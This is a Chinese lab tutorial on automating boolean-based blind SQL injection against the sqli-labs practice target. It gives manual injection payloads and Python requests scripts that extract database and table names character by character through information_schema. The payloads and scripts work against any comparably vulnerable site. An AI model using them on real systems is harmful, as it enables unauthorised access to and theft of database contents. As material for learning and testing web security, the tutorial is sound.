Python自动化sql注入:布尔盲注

news2024/9/20 19:46:10

在sql注入时,使用python脚本可以大大提高注入效率,这里演示一下编写python脚本实现布尔盲注的基本流程:

演示靶场:sqli-labs

布尔盲注

特点:没有回显没有报错,但根据sql语句正常与否返回不同结果,通过语句是否正常来注入。

靶场:sqli-labs第八关

手注思路

先简单讲讲手工注入时的大概思路,sql语句如下:

 单引号就能闭合,结果正常时会显示you are in......,结果不正常什么都没有。

 所以我们只需要根据是否有you are in来判断注入成功与否,构造语句如下:

# 判断数据库名长度
/?id=1' and length((select database()))=8--+

# 挨个判断数据库名
/?id=1' and ascii(substr((select database()),1,1))=115--+
# 第一位为's'
/?id=1' and ascii(substr((select database()),2,1))=102--+
# 第二位为'e'
...

# 判断表名
/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102--+

# 判断字段名
/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 1,1),1,1))=102--+

# 判断值
/?id=1' and ascii(substr((select 字段 from 表 limit 1,1),1,1))=1--+

python脚本自动化

可以看到手注需要一个一个试工作量是非常非常巨大的,这时候一个python脚本就可以很好的解放我们的双手:

需要用到requests包来建立连接访问目标地址,根据回显特征进行下一步操作,这里正确标志是"You are in...":

import requests


requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False
flag = 'You are in...'

获取数据库相关信息:

def GetDBName(url):
    DBName = ''
    print("开始获取数据库名长度...")
    len = 0
    for l in range(1,99):
        payload = f"' and length((select database()))={l}--+"
        res = conn.get(url=url+payload)
        if flag in res.content.decode("utf-8"):
            print("数据库名长度为:"+str(l))
            len = l
            break
    print("开始获取数据库名...")
    for i in range(1, len+1):
        for j in range(33,127):
            payload = f"' and ascii(substr((select database()),{i},1))={j}--+"
            res = conn.get(url=url+payload)
            if flag in res.content.decode("utf-8"):
                DBName += chr(j)
                print(DBName)
                break
    return DBName

将payload与网址进行拼接,使用requests包来访问网站,根据返回页面是否有flag出现来确认是否成功。运行结果如下所示:

 接下来就是获取表、字段以及其中的具体数据了,写下去你会发现总体流程都是一样的,以表为例,大致步骤如下:

获取数量(有多少张表)--> 获取每张表表名的长度 --> 获取具体的表名

代码如下:

def GetTables(url,db):
    print("正在获取数据表数量")
    tnum = 0
    t_len = 0
    tname = ""
    for i in range(1,50):
        payload = f"'and (select count(*)table_name from information_schema.tables where table_schema=database())={i}--+"
        res = conn.get(url=url + payload)
        if flag in res.content.decode("utf-8"):
            tnum = i
            print(f"共有{i}张表")
            break
    for i in range(0,tnum):
        for n in range(1,50):
            payload = f"'and length(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),1))={n}--+"
            res = conn.get(url=url + payload)
            if flag in res.content.decode("utf-8"):
                print(f"第{i+1}张表的长度为{n}")
                t_len = n
                break
        for l in range(1,t_len+1):
            for j in range(33,127):
                payload = f"' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{l},1))={j}--+"
                res = conn.get(url=url + payload)
                if flag in res.content.decode("utf-8"):
                    tname += chr(j)
                    print(tname)
                    break
        tname += ','
    result_list = tname[:-1].split(",")
    return result_list

运行结果像这样:

 剩下的部分除了payload基本上和获取表信息一模一样,可以自己尝试一下。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/448848.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

新手做电商直播带货怎么和快递合作谈价格

新手做电商直播带货怎么和快递合作谈价格达人带货一般怎样的合作模式?#达人带货 #直播带货 #红人 #百收网 跟快递谈价其实是有方法的,快递的价格不是说不能打下来,就是需要你们多一点点的心机。这个视频我就再给你们补充三个方法,…

HCIP之STP

企业网三层架构 线路冗余—二层网络桥接环路 因为路由器的路由表是由相对完善的计算所得,且存在防环规则;故路由器物理链路上实施备份时,一般不会出现环路;但交换转发数据依赖MAC表(CAM表),该表…

【模式识别4】YOLO目标检测数据集xml格式转txt格式

YOLO目标检测数据集xml格式转txt格式 1. 转换前的xml格式2. xml格式转txt格式代码2.1 源代码2.2 需要修改的地方 3. 转换后的txt格式 代码资源:voc2txt.py 1. 转换前的xml格式 如果我们使用LabelImg工具标注数据集,生成的xml文件如下: xml…

Linux运维:推荐八款Linux远程连接工具

目录 2、XShell 3、SecureCRT 4、PuTTY 5、WindTerm 6、iTerm2 7、MobaXterm 8、Termius 今天给大家推荐八款Linux远程连接工具,非常实用,希望对大家能有所帮助! 1、NxShell NxShell是一款开源的Linux远程管理工具,是我日…

Spring Boot 接口加解密

1. 介绍 在我们日常的Java开发中,免不了和其他系统的业务交互,或者微服务之间的接口调用 如果我们想保证数据传输的安全,对接口出参加密,入参解密。 但是不想写重复代码,我们可以提供一个通用starter,提…

【python数据可视化】基于networkx的10个绘图技巧

一、说明 networkx在02年5月产生,是用python语言编写的软件包,便于用户对复杂网络进行创建、操作和学习。利用networkx可以以标准化和非标准化的数据格式存储网络、生成多种随机网络和经典网络、分析网络结构、建立网络模型、设计新的网络算法、进行网络…

解决java.lang.IllegalStateException: Failed to load ApplicationContext错误~

错误描述: Caused by: org.springframework.beans.factory.BeanDefinitionStoreException: Failed to read candidate component class: file [D:\SSM\SSM_3.22\spring_transaction\target\classes\spring_txAnnotation\Controller\BookController.class]; nested …

装饰器模式C++用法示例

六.装饰器模式 一.装饰器模式1.原理2.适用场景 二.C程序示例1.语法组成2.C示例 一.装饰器模式 1.原理 装饰器模式是一种结构性设计模式,其目的是通过包装对象来扩展其行为而不改变其接口。该模式可以动态地将责任附加到对象上,从而提供一种灵活的替代方…

SQL Server基础 第三章 数据表基本操作(增删改查,不允许保存更改异常!)

往表里插数据我们现在有两种方式第一种是编辑直接修改,第二种是通过查询来修改数据 两种方法的区别 第一种更直接,如果数据量小那么直接改就好了,那如果数据量稍微庞大我们就需要用新建查询来进行表内容的修改了!!&a…

【Linux】进程信号 --- 信号的产生 保存 捕捉递达

被爱情困住的是傻子 文章目录 一、信号的预备知识1.通过生活例子来理解信号2.迁移到进程上来理解信号 二、信号的发送(修改PCB的信号位图)1.通过键盘发送信号(kill指令 和 热键)2.通过系统调用发送信号(kill系统调用 和…

前端技术的miniui 和bootstartp

前端技术的miniui 和bootstartp 目录概述需求: 设计思路实现思路分析1.前端技术boostatrp2.miniui: 参考资料和推荐阅读 Survive by day and develop by night. talk for import biz , show your perfect code,full busy,skip hardness,make a better re…

1686_MATLAB处理Excel文件

全部学习汇总: GreyZhang/g_matlab: MATLAB once used to be my daily tool. After many years when I go back and read my old learning notes I felt maybe I still need it in the future. So, start this repo to keep some of my old learning notes servral …

opencv交叉编译,支持ffmpeg、libjpeg,实现取流及写入jpeg文件

一、准备工作 1、虚拟机交叉编译连 2、在虚拟机目录下创建工作目录,注意不要选择windows共享目录,比如这里选择: /home/cxyazhou/work 3、虚拟机安装cmake cmake-gui pkg-config,直接apt install即可 4、源码下载,需要…

Mongodb的部署

MongoDB下载包获取 https://www.mongodb.com/try/download/community 安装配置 第一步:在服务器 /usr/local 下创建 MongoDB 文件夹,用来存放安装包、服务以及之后 MongoDB 的数据库和日志文件。 cd /usr/local // 进入安装目录 mkdir MongoDB // 创…

【LeetCode: 2369. 检查数组是否存在有效划分 | 暴力递归=>记忆化搜索=>动态规划 | 线性dp】

🚀 算法题 🚀 🌲 算法刷题专栏 | 面试必备算法 | 面试高频算法 🍀 🌲 越难的东西,越要努力坚持,因为它具有很高的价值,算法就是这样✨ 🌲 作者简介:硕风和炜,…

OpenCV(14)-OpenCV4.0中文文档学习2(补充)

相机校准和3D重建 相机校准 标定 findChessboardCorners() 它返回角点和阈值,如果成功找到所有角点,则返回 True。这些角落将按顺序放置(从左到右,从上到下)cornerSubPix()用以寻找图案,找到角点后也可以…

PHREEQC实践建模技术方法

PHREEQC软件为美国地质调查局基于C和C语言开发,面向一般地球化学、水文地球化学模拟的专业软件。该软件历经近30年迭代,功能不断完善,目前已发展成为-以PHREEQC为计算核心(更新至3.7版本),辅以具备二次开发…

【无标题】docker安装jenkins安装流程(二)

配置Publish Over SSH JENKINS_URL/job/goods/build?tokenTOKEN_NAME http://xxxxx:8001/job/goods/job/goods/build?tokenxql1232.提交合并代码触发自动构建 http://xxxxx:8001/buildByToken/build?jobgoods&tokenxql123http://xxxxx:8001/buildByToken/build?jobgood…

Javaee 基于注解的AOP开发

基于注解的 aop 开发步骤: 1. 创建目标接口和目标类(内部有切点) 2. 创建切面类(内部有增强方法) 3. 将目标类和切面类的对象创建权交给 spring 4. 在切面类中使用注解配置织入关系 5. 在配置文件中开启组件…

gpt写文章批量写文章-gpt3中文生成教程

怎么用gpt写文章批量写文章 批量写作文章是很多网站、营销人员、编辑等需要的重要任务,GPT可以帮助您快速生成大量自然、通顺的文章。下面是一个简单的步骤介绍,告诉您如何使用GPT批量写作文章。 步骤1:选择好训练模型 首先,选…